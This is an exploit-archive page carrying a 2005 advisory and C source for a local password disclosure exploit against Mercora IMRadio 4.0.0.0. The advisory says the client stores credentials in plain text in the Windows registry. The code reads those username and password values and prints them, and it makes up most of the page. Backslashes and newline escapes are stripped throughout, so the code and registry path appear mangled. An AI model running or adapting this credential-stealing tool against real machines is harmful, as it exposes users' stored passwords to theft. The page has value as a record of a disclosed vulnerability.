[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Mercora IMRadio <= 4.0.0.0 Local Password Disclosure Exploit
# Published : 2005-08-22
# Author : Kozan
# Previous Title : Adobe Version Cue 1.0/1.0.1 (-lib) Local Root Exploit (OSX)
# Next Title : Gopher <= 3.0.9 (+VIEWS) Remote (Client Side) Buffer Overflow Exploit
/*================================================================
Mercora IMRadio 4.0.0.0 password disclosure local exploit by Kozan
Discovered & Coded by: Kozan
Credits to ATmaCA
Web: www.spyinstructors.com
Mail: kozan@netmagister.com
=====[ Application ]==============================================
Application: Mercora IMRadio 4.0.0.0 (and probably prior versions)
Vendor: www.mercora.com
=====[ Introduction ]=============================================
Search, listen, and record any music. With over 2.5 million unique
tracks, Mercora is a legal music radio network powered by people,
DJs, and artists just like you. Mercora combines Internet streaming,
country-specific copyright compliance, and social networking
technologies to create the next generation of digital music.
Version 4.0 supports friends and family listening, a vastly
simplified interface, customized listening, and live music search.
=====[ Bug ]======================================================
Mercora IMRadio 4.0.0.0 stores username and passwords in the Windows
Registry in plain text. A local user can read the values.
HKEY_CURRENT_USERSoftwareMercoraMercoraClientProfiles
Auto.Username = Mercora IMRadio Username
Auto.Password = Mercora IMRadio Password
=====[ Vendor Confirmed ]=========================================
No
=====[ Fix ]======================================================
There is no solution at the time of this entry.
================================================================*/
#include <stdio.h>
#include <windows.h>
#define BUF 100
int main()
{
HKEY hKey;
char Username[BUF], Password[BUF];
DWORD dwBUFLEN = BUF;
LONG lRet;
if( RegOpenKeyEx(HKEY_CURRENT_USER,
"Software\Mercora\MercoraClient\Profiles",
0,
KEY_QUERY_VALUE,
&hKey
) == ERROR_SUCCESS )
{
lRet = RegQueryValueEx(hKey, "Auto.Password", NULL, NULL, (LPBYTE)Password, &dwBUFLEN);
if (lRet != ERROR_SUCCESS || dwBUFLEN > BUF) strcpy(Password,"Not Found!");
lRet = RegQueryValueEx(hKey, "Auto.Username", NULL, NULL, (LPBYTE)Username, &dwBUFLEN);
if (lRet != ERROR_SUCCESS || dwBUFLEN > BUF) strcpy(Username,"Not Found!");
RegCloseKey(hKey);
fprintf(stdout, "Mercora IMRadio 4.0.0.0 password disclosure local exploit by Kozann");
fprintf(stdout, "Credits to ATmaCAn");
fprintf(stdout, "www.spyinstructors.com n");
fprintf(stdout, "kozan@spyinstructors.comnn");
fprintf(stdout, "Username :t%sn",Username);
fprintf(stdout, "Password :t%sn",Password);
}
else
{
fprintf(stderr, "Mercora IMRadio 4.0.0.0 is not installed on your system!n");
}
return 0;
}
// www.Syue.com [2005-08-22]